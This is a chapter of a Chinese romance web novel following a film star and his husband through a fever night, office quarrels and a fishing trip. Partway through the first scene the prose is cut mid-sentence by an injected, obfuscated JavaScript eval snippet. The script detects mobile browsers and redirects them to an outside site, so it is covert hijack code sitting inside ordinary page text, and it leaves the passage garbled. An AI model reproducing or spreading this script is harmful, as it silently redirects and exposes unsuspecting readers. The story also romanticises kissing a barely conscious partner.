他还闭着眼,下唇被用力地咬出月牙白痕,一只手搭在额头上另一只手紧紧抓着床单仿佛在抵抗着什么。 他像一条刚化成人形的山妖,峰峦叠嶂弧线柔美,陆闻轻视线凝住,无比怀疑他是不是被人下药了。 陆闻轻不是个绅士,但也不至于趁人之危,忍着青筋的跳动走过去,把盆放在桌上,把人捞过去看着他的眼睛:“你让人下药了?” 沈书渠烧得昏昏沉沉,隐约看到陆闻轻在说什么,恍惚了一下朝他笑起来:“哥哥。” 陆闻轻一怔,随即两条滚烫的手臂就缠了上来,猝不及防向后仰去。 摔到地毯上之前陆闻轻下意识护住他却只勾住了凹陷的腰,触手温热滑腻如同暖玉。 不等他反应过来,沈书渠已经蹭过来,“我好热,你抱抱我。” “你热是因为烧过头了。”陆闻轻提醒他,也提醒自己,“泡冷水,谁教你的……” “你怎么不抱我……”沈书渠轻声埋怨,原本清冷的嗓音此时绵软而委屈,很像是撒娇。 陆闻轻心里的火苗一跳一跳,跟着他的青筋一起挑战极限,只好放轻了声音说:“好好好,抱你。” 沈书渠笑了一下,鼻尖在他脖子里蹭了蹭,嘟囔着:“明天要来接我啊,师姐昨天把你给我的糖骗、骗走了……” 师姐? 陆闻轻凑近了听他嘟囔,断断续续听出一些私奔、糖、荔枝等词,活像是烧糊涂了。 他单手撑着地,把人抱起来放回床上,起身时被用力勾住脖子拉回去,接着一个滚烫的唇凑上来。 陆闻轻瞬间怔住,在君子守节和趁人之危之间思考了两秒,决定行使合法丈夫的权利。 反正是不会离婚了,他先支取一部分,以后再连本带利还给他。 “是你先撩我,我当你同意了。”他一手握着沈书渠的指尖交叉按在枕头上,另一只手捏住喉咙迫使抬头,不轻不重地亲了两下。 沈书渠很顺从地抬起头,乖乖张口伸出舌尖。 陆闻轻用尽理智,克制地松开他,“别浪。” 沈书渠仿佛很委屈,微抿了一下发红的唇,湿漉漉的眼睛活像在控诉:你不喜欢我了。 “……我给你吃的是退烧药,不是春药。”陆闻轻抬手在他脑门上敲了敲,在他委屈垂眼的时候,无奈又低头在他眼睛上亲了亲:“乖乖睡觉,听话。” 沈书渠似是还有不悦,但还是听话点头。 陆闻轻拧了毛巾来给他降温,背对着他问:“你身上的伤是怎么回事?什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151050|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人打的?” 再回头他已经睡着了,仿佛刚才那一通只是自己的幻觉。 陆闻轻:“……” 陆闻轻没伺候过人,好在沈书渠只闹了那一阵子就老老实实睡觉了,乖得和平时判若两人。 他换了几次毛巾,感觉他体温降了一些,坐在一边给尤微打电话。 “让你查的事查得怎么样了?” 尤微反应了一下,“沈安的事?他是余欣、就是沈总的继母的儿子。” “这个我知道。” 尤微说:“余欣是沈总十二岁那年进门的,当时他生母刚去世一年多,因为他性格不好也不怎么愿意接触陌生人,沈董事长就让他比较熟悉的余欣进门了,第二年生的沈安。” “沈安为人跋扈,身边都是一些和他差不多的纨绔,倒也没有捅出什么大篓子。当然了,这种富二代一没掌权二没实财,除了吃喝嫖赌找乐子也没别的事儿能做。” 陆闻轻淡淡道:“沈书渠怎么不吃喝嫖赌?他怎么就能洁身自好?” 尤微让他噎了一下,“?” “你继续说。” “沈董深爱亡妻,因此也很溺爱沈总,他们兄弟之间关系淡薄可能也有这一层关系,毕竟豪门争权是很常见的。” 陆闻轻:“是这样么?” 尤微道:“沈董爱亡妻是人尽皆知的,每年忌日他都会亲自去扫墓,还以她的名字设立了基金会,用来帮助失学女童和困境中的女性,你觉得有蹊跷?” 陆闻轻:“还不知道,沈书渠生母叫什么?”如果沈正兴非常溺爱沈书渠,他身上的伤是哪儿来的? “温若桥,你不知道?” 陆闻轻在心里默念了一遍这个名字,“我要知道?” “当年的温家大小姐,跟沈董还是青梅竹马,从小上学的感情,当时结婚还是轰动平洲的盛事,不过她红颜薄命,结婚十二年就因病去世了。后来温家老爷子受不了女儿去世的打击,过几年也去世了,他无子,家里的产业也都交给沈董了。” 陆闻轻若有所思地点了点指尖,“行,我知道了。”看了眼沉睡着的沈书渠,又问:“尤微,你觉得我长得像谁吗?” 尤微:“?简单点,问问题的方式简单点。” “没什么。” 他只是有种预感,沈书渠好像把他当成谁的替身了。 - 翌日一早。 沈书渠醒来时头痛欲裂,整个人像是被车轮碾过一遍,从骨头到神经都疼得难以忍受。 他坐起身环视了一圈,恍惚了一阵才发现是酒店,再低头发现自己□□倏然醒神了。 他昨天瘾症发作,拧开花洒放了一缸冷水泡进去没多久就没记忆了,是有人趁他睡觉脱了衣服?! 沈书渠反射性掀开被子,身上没有别的痕迹,不由得松了口气。 “醒了?” 沈书渠倏地僵住,慢吞吞地抬起头看着好整以暇靠在门口的人,顺着他的视线一看,下意识盖回被子。 “你怎么在这儿!” 沈书渠嗓子沙哑,惊愕质问只有一截儿短促的气声。 20、感谢订阅,啾咪~... “如果我不在这儿,你知道自己今天晚上该在哪儿吗?” 沈书渠不着寸缕,面对衣冠楚楚的陆闻轻心理压力倍增。 他现在脑子里乱成一团,面对山雨欲来的平静,有一种要被吊起来审问的预感。 昨晚的断片让他很不安,他不知道发生了什么也不能判断陆闻轻现在的状态。 陆闻轻就那么站在床边,低垂着眼像在看一个顽固不化的囚犯。 “沈书渠,是谁教你发烧了要泡冷水降温的?” 沈书渠心咯噔一下,很轻地动了一下喉咙没能说出话来。 “医生是全死了,还是平洲买不到退烧药了,你那个能干的助理,抽奖抽迷糊了?” 沈书渠没办法跟他解释自己并不是因为发烧才泡冷水,更不能说他是因为跟他跳了一场舞,被他抱了一会就瘾症发作滋生了欲/念。 他只是想借着水温来保持冷静,压下对他的渴望,发烧只是意外。 “你先出去。”沈书渠嗓音沙哑,往被子里缩了缩,“我穿完衣服跟你说。” “你的衣服湿透了,你打算穿哪一件?” 陆闻轻见他不语,居高临下审问:“如果我昨天不来,你打算在这个冷水里泡多久?一小时?两小时?一夜?死在冷水里?” 沈书渠咬了下嘴唇,试图想一个圆满的解释,然而没等他想明白下颌便一紧,接着被人硬生生抬起来。 沈书渠陡然撞进他冰冷的眼神里,从漆黑的瞳仁中看到自己的倒影。 “沈书渠,你是哑了,不是哑巴了。”陆闻轻捏住他的下巴抬向自己,嗓音低沉而严苛:“说话。” 沈书渠喉咙不断滚动,禁锢着他的那只手坚硬而无情。 “你喜欢泡冷水,我现在可以把你塞到浴缸里。”陆闻轻指尖不轻不重地摩挲着他的下颌,在他微微颤动的眸子里警告:“回答我。”沈书渠咽了咽喉咙,说:“我心里有数,不会有事的。” 陆闻轻一下笑了,“你心里有数。” 沈书渠迟疑片刻,硬生生拐了个方向:“下次……不会了。”“没有下次。”陆闻轻严谨纠正,直勾勾看着他的眼睛,“如果再让我发现你发烧泡冷水,我就把你扒光了扔到星海里,能记住吗?”沈书渠微垂睫毛,鼻梁上一凉。陆闻轻帮他戴上眼镜,“沈书渠,你不了解我,我没有好脾气,在我这儿,没有下不为例这种机会。”沈书渠当然知道,他只是看起来比较宽容,真生起气来的时候怎样都哄不好。 有一次他做实验忙得一整天没吃饭,最后胃出血晕倒在实验室里,再醒来的时候陆闻轻直接把他两只手都绑在病床上。 “喜欢做实验是吧?” 他吓得道歉、解释,最后连撒娇和撒泼全都用上了,通通无效。他被绑了三天,最后还是承诺不会再这样了才消气。 “张嘴。” 沈书渠下意识张口,舌尖尝到一股很清甜的荔枝味。 “被骂傻了?”陆闻轻伸手在他额头上摸了摸,发觉已经退烧了。“三岁孩子都比你懂事,骂两句还委屈,不许哭。”沈书渠不是委屈,也没准备要哭,他是脑子里太乱了。陆闻轻抽一鞭子又给颗糖,完全不给他思考和冷静的时间。 “我没有委屈,你先让我穿衣服。” 沈书渠实在不习惯这么跟他说话,耳根子不断泛红,眼里就带了些恳求:“你先出去。”他这个样子恰恰又给了陆闻轻一种乖巧任训的错觉,心里的火气已经散了大半。其实放在任何一个人看到沈书渠这么祈求的样子也舍不得说重话的。 陆闻轻觉得自己只是普通人的普通反应而已。 有一瞬间,他脑子里突然冒出一个念头:如果这是事后清晨,他是不是也会这么茫然? 如果是,肯定会让人想按住再来一次。 他从苍白的唇上往下看,在那粒鲜红的小痣上停留几秒,一伸手拿过衣服放在床上。 “活活送来的我的衣服,你先穿着,回家了换你自己的。” 陆闻轻的衣服比他的大一点,有很淡的香茅草气味,上身的时候不经意回了下头,看到镜面墙上反射出模糊的轮廓。 他大概也看到了自己满背的伤疤,在他面前赤身裸体和暴露伤疤都让他很难接受。 如果他的克制力能更好一点,这件事就不会发生。 沈书渠拿过桌上的佛珠,垂眼看了看,果断套上。 陆闻轻站在落地窗边出神,看着玻璃上自己的倒影不由地想,他昨晚的热情是对谁?那句哥哥叫的又是谁? 表面看上去这么冷淡的沈书渠,剥开了内里却那么乖巧柔软,像一只摊开肚皮任人欺负的幼猫。 昨天晚上他问了两次为什么结婚,沈书渠都没有回答,仿佛那是一个很难启齿的禁语。 他没有亲生哥哥,按照他这样的性格也不可能暖昧地叫谁“哥哥”,更不可能攀着肩膀去亲吻。 他会主动张口会主动伸舌头,完全不像第一次。他是把自己认成谁了? 陆闻轻若有所思,圈子里包养捧小明星的事遍地都是,那沈书渠对他算什么?爱而不得找个替身? 手机响了一声,顾向平来问他还记不记得出海的约定。 陆闻轻收回思绪,说:“记得。” 顾向平立即又追问:“那你记得要把沈总带上吗?” “带他干什么?” 顾向平冷不丁被噎了一下,小声说:“你不会不打算带吧?人家沈总都答应了你不让他去,你别太欺负人了。” “我欺负谁了?” 沈书渠洗漱完出来,陆闻轻回头看他穿着自己的白衬衫,有一种礼物被打上他标记的感觉。 “不怎么合身。” 沈书渠低头看,是大了一点。 其实他更想把自己的湿衣服套上,把这套衣服拿回家放进房间供起来的。 “活活带了早饭,吃了再走。” 桌上摆了一大堆广式茶点,从蒸饺排骨南糖烧麦再到蒸粉果,竟然还有一份可丽饼。 活活才是真的把摊子搬过来了。 吃完饭。 陆闻轻拿过放在一边的外套穿上,口罩、帽子——戴好,摇身一变成高不可攀的陆影帝。 出门时,不期然听见一声很小的快门声,陆闻轻回了下头。 楼道里空无一人。 “怎么了?”沈书渠也回头。 “没事,走吧。” 司机在楼下待命,沈书渠已经找回冷静,尽量平静地开口:“昨天沈安擅自把你叫过来,是我没有考虑周到。” 沈书渠虽然嗓子因为高烧哑了但仍旧让人觉得音质很冰,很不带感情。 陆闻轻靠在椅背上看他:“然后呢?” “昨天过来的媒体很多,虽然不一定敢报你的事但难免有人铤而走险,以后再有这样的事我希望你要以自己身份为考量。” “稍后我会安排人发稿,说明昨天是年会集体下榻。” 陆闻轻看他一句句安排,条理清晰步步为营,像是一瞬间套上了那个不讲情面的外壳。 昨晚的昙花一现,让他开始怀疑是不是自己才是那个发烧昏头的人。 他在外人跟前高冷禁欲宛如一朵高岭之花,但在那个“哥哥”跟前软得像个小孩,去四川学过变脸吧? “沈书渠。” 陆闻轻打断他,说:“头还疼吗?” 沈书渠不太明白他为什么没头没尾问这一句,但还是回答:“不疼了,昨晚谢谢你。” 陆闻轻:“不用,你昨晚已经谢过我了。” 沈书渠微微张口,像是想问又像是不知道怎么开口,和他手上那串佛珠一样克制。 “想知道拿什么谢我的?” 沈书渠点头,他不喜欢末知,那会让他觉得很失控。 陆闻轻低着头看他,心想:如果他要是开口说你告诉我吧,他一定会说的。 “沈书渠。” 沈书渠很认真的盯着他,像是很想知道答案,但陆闻轻偏偏不告诉他,反而说:“你有没有想过,粉丝觉得我好,那是因为我只给他们看完美的一面。高奢代言、百亿票房、你觉得那是真的我?也许我私下心狠手辣、无情狠毒呢?”沈书渠眸子动了动,说:“你不是。” “你怎么知道我不是?也许我私底下霸凌演员,始乱终弃呢?如果这样的把柄让媒体抓到了,你怎么办?” 沈书渠:“你不会。” “你们都把我想得那么完美干什么?要是我不长这张脸……”陆闻轻停了一下,不长这张脸他还能来找我吗? 沈书渠几乎没考虑:“不长这张脸也很完美的,我知道你很好。” 陆闻轻到嘴边的话收了回去,顺势问他:“那还签我吗?” 沈书渠想提醒他不是自己签的,但还是说:“会签的。” “那发生了那件事,还会提出跟我结婚吗?” 沈书渠觉得有哪里不太对劲,但思考了一下那种情况,还是说:“会结的。” 陆闻轻心头莫名软了一下,“你最好是。” 沈书渠带着一身的冷意进公司,吓得处处噤若寒蝉。 叶缘敲门进来送文件,见他面色不好看,小心翼翼问了句:“沈总,你还好吗?” 沈书渠坐在办公桌后面,语气很淡:“昨天晚上我怎么跟你说的?” 叶缘寒毛一竖,磕绊道:“对、对不起沈总,我昨天担心您不舒服,陆影帝又说您可能会有事我就给、给他了,对不起!” 沈书渠以为叶缘可靠,没想到这么两句话就把房卡交了,昨晚是陆闻轻过来,如果别人过来呢? 他有那个毛病还喝了酒,放人进来的后果是什么? 叶缘胆战心惊:“对不起沈总,我以后会小心的,您、您没事吧?” "以后?我是不是告诉你不要声张,你是听不懂还是把我的话当耳边风?" 叶缘是见过他把人硬生生骂哭的,此刻却只觉得压抑到哭也不敢哭。 沈书渠头痛欲裂,滔天的怒火塞在心里无处发泄,“算了,你去把沈安给我叫来。” 叶缘欲言又止道:“现在吗?沈副总说昨晚喝多了可能起不来,今天不来公司,有事的话打电话给他就行。” “起不来?我让他来,他就是腿断了爬也得给我爬来。”沈书渠说完,又补了一句:“不来就永远不要来了。” 叶缘:“我立马去办。” 下午,沈安带着一身的酒气过来,显然是喝的很尽兴,一推开门就大喇喇地坐在沈书渠的办公桌上。 “大哥,喜欢我送你的礼物吗?听说你跟陆闻轻在酒店共度一夜,怎么样,他碰你没?” 沈书渠平静地看着他,“我小看你了。” 沈安拿起桌上文件随意翻了两下又丢回去,俨然一副胜利者姿态。 “别以为只有你长脑子别人都是蠢货,锦盛归根究底还是沈氏的产业,爸想让你滚蛋只是一句话的事。” 沈书渠:“是么?你们想要锦盛?” “陆闻轻是个摇钱树,你能用,我也一样可以用。”沈安跳下办公桌,双手撑在桌上直勾勾看向沈书渠,心里恨意横生。 “我真的很好奇,你害死你妈你外公,到底怎么还能心安理得活下来……” 沈安脖子一紧,被人硬生生抓在桌上。 沈书渠单手掐住他脖子,另一手摸过咖啡杯狠狠砸在他头上。 沈安脑子嗡地一声,一股粘稠的液体顺着浓香咖啡淌了下来。 他趴在桌上,骇然看着沈书渠拿着一片碎玻璃逼近他脖子,那张薄唇冷淡警告:“沈正兴让你来我同意了,你要办年会我答应了,我警告过你,不要试图挑战我,你没听懂?” “你……你别乱来啊。” 沈书渠用瓷片在他脖子边轻轻滑了一下:“今天早上的事,如果有一个人爆出去,我一定弄死你,你知道我说到做到,现在,滚出锦盛。” 沈安悚然一惊,咬着牙说:“爸让我来的,你敢撵我走?” 沈书渠眸色一凝,“他让你来的?” 沈正兴让他来的?是想试探他什么? 他翅膀还在不在?是不是毫无锋芒了? 沈正兴不会无缘无故做一件事,他让沈安来,就一定还有下一步棋。 沈书渠松开手,抽出手帕慢条斯理擦了两下扔在沈安脸上,“叶缘,送副总出去换件衣服。” 叶缘就在门口守着,飞快招呼沈安走。 沈书渠揉了揉酸痛的额头,看了陆闻轻那部电影其他角色试戏的名单,眼神在宁迟那一行停留了一瞬。 高烧的后遗症让他提不起精神,直到出海当天,林锦打电话来提醒他才记起邀约。 林锦裹得像个粽子,忧心忡忡靠近他:“你要不然还是别去了吧?” “你不怕顾向平把你推海里喂鲨鱼,那我不去了?” 林锦想了想:“还是去吧,就是我有点担心陆闻轻会对你干点什么,我总觉得他不对劲。” “他哪里不对劲?” 林锦觉得沈书渠情人眼里出西施,觉得陆闻轻哪里都好,就是把他按斤称了卖了他可能都会觉得陆闻轻好厉害,做生意很牛呢。 “算了算了,咱俩晚上住一起吧。” 沈书渠:“没事,我带药了。” “谁跟谁住一起?”顾向平凑过来,在两人脸上梭巡了一会,指了指后面的陆闻轻吓唬他:“他听见了才会把你扔下去喂鲨鱼。” 林锦一看到陆闻轻就怕,冷不丁看到熟人立马招手:“哎,阿东你也来了?” 楚津东笑笑:“是啊,沈总,你也来了。” 沈书渠微微颔首:“楚先生。” 陆闻轻上下打量了一会沈书渠,看他还是那个西装革履配大衣的样子,比自己还讲究。 “不冷?” 沈书渠疏淡回应:“还好。” 顾向平跟齐敬先上船,陈亦洲一边走一边批评:“冬天出海,真亏你想得出来。” “冬天怎么了,冬天有冬天的乐趣,你见过海上下雪的样子吗?我上次跟人去看画展,那个海上雪景你不知道多好看。” 齐敬帮腔笑道:“就你?还能看明白画展?” “我陪人去不行?”顾向平争不过他们,叉着腰朝陆闻轻撒气:“喂,你们俩悄悄话说完没?还上不上船了?” 他前后鼻音不分,上船说的像上床。 陆闻轻抬起头,“你大白天上床?” 众人一声哄笑,顾向平噎了噎,闭嘴了。 这次出海除了认识的这几个还有几张生面孔,几个随行的男孩好奇地朝沈书渠打量,问齐敬怎么不介绍。齐敬说:“锦盛的沈总,你们自己去打招呼吧,让他给你们机会露露脸。”有个男孩是爱豆出身,当即朝沈书渠笑起来:“沈总你好,我是夏闽,你叫我小夏就行。”沈书渠被他的直率逗笑,微微颔首:“你好。”平洲冬天太阳不多,今天算是难得的好天气。 海面上波光粼粼,沈书渠站在甲板上看了一会,听见有脚步声,回头看了眼发现是楚津东。 “楚先生。”“你跟林锦一起叫我阿东好了,怎么一个人在这儿?不进里面玩?”“看看海。”楚津东靠在栏杆上,今天也戴了副眼镜,跟沈书渠的很像。沈书渠不笑显得很难亲近,但弯眼就会很容易让人有一种被爱的错觉。楚津东心热了热,轻咳一声:“上次小鱼的事情还没谢谢你。” “小鱼?” 楚津东稍作提醒:“碧林山庄。” 沈书渠想起那小孩,当时说是“楚家”他没往这方面联想,没想到楚津东竟是楚家人。 “举手之劳。” “听说废了你一件大衣,我大哥一直让我找机会谢谢你,改天你有时间吗?我请你吃个饭当道谢。” “有机会吧。” 楚津东跟沈书渠一齐站在甲板上,风吹过扬起他的头发,将眼尾吹得发红,让他生出一种想把这个冰块焙热的冲动。他生于楚家,长得不错又事业有成,想要什么样的人都唾手可得,从来不屑于追人,但沈书渠给了他想要试一试的想法。 “书渠。”楚津东侧过头,认真地看着他:“我能这么叫你吗?” 沈书渠还没回答,陡然听见一声雀跃的“沈总”,小夏不知道什么时候冒出来,正朝他招手:“您来呀。”他长得娇柔漂亮,这么欢欢喜喜叫人有一种“大爷来玩呀”的感觉。 小夏热情挽住他胳膊,一股香风扑鼻而来,“沈总,顾哥让我来叫你准备去钓鱼啦。” 沈书渠抽开手,船副正在后舱给他们翻找工具准备海钓。 顾向平上船之前让人不要准备食材,这几天就吃他们钓上来的东西,结果他连个杆子都不会甩。 陈亦洲坐在一边看他跟鱼竿较劲,慢条斯理问陆闻轻:“怎么回事?” “什么怎么回事?” “怎么感觉还是不太熟?”陈亦洲朝沈书渠背影抬了下下颌,若有所思道:“刚才就躲到甲板上去了,不想见你?” 陆闻轻跟他话不投机,“陈主任,你调妇联了?” 沈书渠私下就冷淡,在外人面前简直把他当瘟疫,生怕靠得太近让人察觉出婚姻关系。陆闻轻粉丝破亿,喜欢他脸的喜欢他演戏的喜欢他有钱有权的,也许有真心喜欢他这个人的。 如果这个世界上有一个抛去一切光环之外只单纯不喜欢陆闻轻这个人的,那这个人可能就是沈书渠。 “陈亦洲,你当过替身吗?” 陈主任逻辑缜密的脑子宕机了一下。 游轮漂航,一群少爷们在研究鱼竿。 沈书渠在边上翻了一下海图,离得最近的是贝壳底,还算好钓。 顾向平弄明白怎么抛竿,放线没多久就开始咋呼上鱼了,收线一看空空如也,齐敬在一边笑他把海浪当咬钩。 “沈总,你会吗?看起来好像很难?”离沈书渠最近的男人握着杆子走近,一边装鱼饵一边问。 “嗯?会一点。”沈书渠放下海图,走过来看他抛竿,说:“你要放线到140米以上,太浅了钓不到,鱼饵要大一点才能钓到大鱼。” “这样?” 沈书渠蹲下身,帮他挑了一个大的:“这个吧。” 男人看着他纤细修长的指骨,又看了看温柔的侧脸,忍不住咽了下唾沫。 顾向平一听“大的”立刻凑过来:“要哪种?这个好啊?那先给我。” “一边去。”男人推了他一把,笑道:“这是沈总给我挑的,你想要自己选去。” 沈书渠随手之劳,无奈起身到一旁去,等钓线下放到150米了提醒他差不多了。 不多时,沈书渠伸手摸了一下钓竿,“起竿吧,应该是有鱼上钩了。” 陆闻轻静静看着他指导别人钓鱼,一颦一笑温柔疏淡,很容易给人一种“他是不是在偏爱我”的错觉。 “沈书渠。” 沈书渠回过头,发现陆闻轻脸色不怎么好看,微抿了下唇谨慎道:“有事吗?” “鱼竿好像坏了。” 沈书渠走过去帮他检查,发现鱼线缠了一节,顾向平刚钓上来一条小鱼,又开始喊比赛,看谁的收获最多,输了的人今晚负责做饭。 “沈书渠。” “嗯?”沈书渠抬起头,把调整好的鱼竿交给他:“怎么了?” “我会输吗?” 沈书渠迟疑了一下,说:“不会。” 陆闻轻单手按在栏杆上,慢条斯理道:“可是我不会钓鱼,怎么办?” 齐敬在边上听见这句,见鬼似的歪头。 沈书渠惊愕回头,但想到他不记得过去的事可能也忘了怎么钓鱼,不过不管他会不会,他是不会让陆闻轻输的。 “你钓的能算我的吗?” “能。”沈书渠抛竿放线,把鱼竿放在他手上,然后把手放在离他手指三寸的位置,共执一根钓竿。陆闻轻低下头看近在咫尺的白皙后颈,漫不经心问他:“你刚才也是这样帮郑程的?” “什么?” “你刚才,也是这么握着他的手,帮他钓鱼的?”陆闻轻食指一点,落在他虎口上,“为什么装不认识我。” 沈书渠手指一缩,“没有。” “哦,没有,只是不看我,不跟我说话,一个人躲到甲板上,怎么?你怕我把你扔海里?还是你很讨厌我?” 陆闻轻左手按在栏杆上,右手和他一起握着钓竿,外人看来只是一起钓鱼但在沈书渠感觉上就像是被他揽在怀里。 “不是。” “不是什么?你说完整我才能判断你是不是骗我。”陆闻轻手指缓慢上移,两指按在他的脉搏上,压住。 “你心跳怎么这么快,真撒谎了?” 沈书渠耳后发热,匆忙提醒:“上钩了。” 船上的钓竿要手动收线,一百多米的角力过程非常漫长。 沈书渠站在他怀里不敢乱动,只能装作认真盯着鱼竿。 “沈书渠,我没力气了。” 这句话说得连大气不喘,沈书渠有点怀疑但也没多问,握住他的手帮忙收线,不可避免地撞到身后温热的胸膛。 陆闻轻语气很低,带着点儿叹:“什么鱼这么难钓啊。” 一场鱼钓下来,陆闻轻钓了两条绿青鳕一条东星斑,齐敬钓了鲅鱼,顾向平喊了半天只钓上来两只寄居蟹。 鱼桶摆在那里,陆闻轻轻而易举拿了第一。 “不公平,你有帮手。” 陆闻轻:“哪儿不公平?他帮我有什么问题?你说不让找帮手了?” 顾向平看向这两口子,噎住了。 下午在船舱里打牌,沈书渠没什么兴趣,准备回房间去把药吃了,半路遇上兴冲冲钓鱼的小夏。“我好像钓上来一条大的!沈总,你帮帮我,我拽不动了。”沈书渠没办法,只好走过去帮忙,不知道他到底钓了一个多大的,两人合力也愣是没拽动,最后直接连鱼竿都断了。 “你钓鲨鱼了?” 小夏挠头:“不、不知道啊。” “你把鱼竿收拾一下吧。”沈书渠准备要走,被小夏拽了一把,口袋里的药瓶顺势滑了出来。 他再要去捡,已经顺着栏杆滚到海里了。 “…”沈书渠青筋跳了跳。 小夏看他脸色突变,感觉自己闯祸了,小声说:“您、您没事吧?这是什么药啊?”沈书渠简直想把他拎起来扔下去,咬牙忍了忍,说:“没事,你自己玩吧。”沈书渠站在船头吹了会风,觉得今天出门应该翻翻黄历。果不其然,到了晚上他就觉得确实应该翻黄历。他房间的玻璃不知道怎么坏了,一阵阵的寒风往里卷,完全没办法睡了。“怎么了?”陆闻轻路过,进来看了一眼,“玻璃怎么坏了?”“不知道,中午还是好的,我去问问齐先生方不方便换一间。”“没有空的了,把你东西拿上到我那儿住吧。”“不用了,我去跟林锦住就好。” 陆闻轻回头看他,就那么静静的注视着一言不发,沈书渠莫名读懂了他眼里的意思。 这里大部分都知道我们的关系,你跟我结婚,跟林锦睡觉,你觉得这合适吗? “林锦他……”沈书渠顿了顿,总不能说林锦看着软但其实是直男很安全,直不直也没办法从脸上看出来。 “好吧。” 房间还算宽敞,但只有一张床。 他晚上势必要跟陆闻轻睡在一起,这跟把一只兔子窝里摆满干草有什么区别,考验他哪一根好吃吗?鬼使神差的,沈书渠掏出手机查了一下今天的黄历,硕大的四个红字诸事不宜大喇喇摆在手机上。陆闻轻瞥了一眼:“睡觉还要查黄历,是看头朝哪儿比较吉利吗?” “……”沈书渠脸猝然烧了一下,觉得黄历更准了。晚餐吃中午钓上来的鱼,厨师把佐餐酒一并送上来。陆闻轻尝了一口觉得不错,拿了一杯给沈书渠:“尝一尝?” 沈书渠喝了一小口,果香和鲜花香味很淡的融合在一起,入口层次分明,但也没敢多喝。 厨师上了一份海鲜粥在沈书渠面前,见他愣神,笑着替他解答:“陆老师安排的。” 楚津东往陆闻轻看了眼,微微蹙眉。 远处有很不明显的亮光,顾向平忽然想起件事儿来,“陆闻轻,我记得你去年拿大满贯的时候,有粉丝给你放了六万个烟花,什么感觉?” 陆闻轻淡淡道:“没什么感觉。” 沈书渠握勺子的手顿了顿,在心里为顾向平纠正,是九万只。 颁奖礼内星光万丈,只向一人,颁奖礼外的烟花为他点亮半个平洲城。 四十七个大楼顶层,十五艘油轮,一千三百个无人机。 那年冬夜,平洲比世界多了两个小时的白昼。 “沈总,你知道是谁放的吗?”顾向平实在好奇,撺掇着去问沈书渠。 “不知道,大概是粉丝吧。” 这种兴师动众的浪漫震到在场所有人,小夏捧着脸艳羡:“要是谁给我放这么多烟花我一定要嫁给他,陆老师,你感动吗?“ 陆闻轻:“不感动。” 吃完饭他们还要继续玩,沈书渠对打牌没什么兴趣,拒绝了做顾向平福星的邀请。 陈亦洲洁身自好不赌博,在甲板上看星星。 海上星星很亮,映照着漆黑的海面像深渊之中的灯火,显得尤为珍贵。 “陈主任。” 陈亦洲回过头,给他分了一张椅子:“沈总,请坐。” 两人都不说话,陈亦洲城府深得跟眼前海面一样,沈书渠先开了口:“听闻陈主任手段雷霆,为人很清廉。” “过奖了。”陈亦洲支着头,淡声说:“我们这行就像海一样,表面看着风平浪静其实底下暗潮汹涌,说不定还有盘根错节的珊瑚和暗礁,听说做生意也这样,沈总是么?”沈书渠说:“我生意小,还好。” 陈亦洲笑笑:“谁敢说锦盛小,不过跟沈氏比确实算不上什么了,令尊德高望重,听说去年由郑家牵头合作了一个能源项目,准备年内启动,就是郑业锋的父亲。” “是么,我不太清楚沈氏的业务,我父亲做事缜密,应该是有过深思熟虑才会合作,也算是圆了我外公的遗愿。” 陈亦洲沉吟了一会,说:“冒昧问问沈总,老爷子是?” “温怀瑾,他去世得早,您大概不认识。” 陈亦洲确实不认识,但听过这个名字,“很厉害的实业家,听说当年帮了令尊不少,当年那一场婚礼真是空前绝后。” 沈书渠看着海面,笑了笑:“是吗。” 两人没聊太久,顾向平让人出来叫陈亦洲去查查是不是有人出老千,为什么他一直输。 沈书渠回房间休息。 陆闻轻还没回来,他先去洗了个澡,出来时正好和陆闻轻撞了个对眼,呼吸顿时滞了一下。 “洗完澡了?” “嗯,你要洗澡吗?”“不急,过来。”陆闻轻从柜子里找出吹风机,在手掌上试了下温度:“给你吹了再去,免得你又要发烧。”沈书渠很想说他没有那么娇弱,上次发烧是因为冷水泡久了,但总觉得他不会信,索性也没解释。“我自己来。”“问你点事儿。”陆闻轻按着他肩膀,一边给他吹头发一边说:“你跟陈亦洲聊什么聊这么久?”“没聊什么。”“他不是顾向平,如果你想利用他我劝你省点儿功夫,你遇到什么事了?需要陈亦洲这样的身份帮你解决。”我想让沈正兴死。沈书渠垂了下眼,笑笑:“没什么,只是聊聊钓……啊!”他腰上一紧,陡然被人拽起来迎上一双漆黑的眼。“做什么事之前告诉我。”沈书渠被他揽住腰带起来,几乎趴在他怀里,陆闻轻俯视的眼神充满审视,似乎要将他的看穿。“陆闻轻,你先、放开我。”陆闻轻神色一下子软下来,从冰冷的逼供变得饶有兴味,多了几分说不清道不明的爱意。林锦以前在他面前念过那句很糙的话:陆闻轻用冷冰冰眼神看人的时候像在看狗,但是一旦含着点儿情意又好像在用眼神#人。“把我的话重复一遍就放开你。”陆闻轻捏着沈书渠的手腕,拇指恰好压在他的手腕内侧,带来莫名的窒息感。沈书渠受不了这个眼神,推开他手臂躲出去:“你去洗澡吧,不早了,赶紧睡觉。”陆闻轻洗完澡一边系扣子一边往外走,头发上的水珠顺着胸膛的线条蜿蜒出一道水迹。沈书渠在他左胸口处的圆形瘢痕上流连了几秒,发现一条很细的被缝合过的旧疤。“看什么?”沈书渠摇摇头,忍住了想去摸一下的冲动,“你怎么受的伤?” “拍广告出了意外,有颗子弹差一点儿打中心脏,偏了几公分。”陆闻轻顺手拿过睡袍套上。 “怎么?不信?” 沈书渠摇摇头:“不是。” 这枚伤口不是拍戏伤的,是因为他。 “以后还是要注意一点,最好不要受伤。”沈书渠瞥见桌上一个半只掌心大的透明袋,里头装着一枚折叠好的红黄绿三色符纸。 “这是平安符?” “嗯。”陆闻轻只瞥了一眼,眼底没多少在意,“你想要?给你了。” “我不要,这是给你保平安的,既然求了那还是带着吧,也许很灵验。” 陆闻轻将平安符丢回桌上,笑了笑:“多大了还这么迷信。” 他从来不信什么神佛,真要靠着这玩意来保,还需要医院警察干什么。 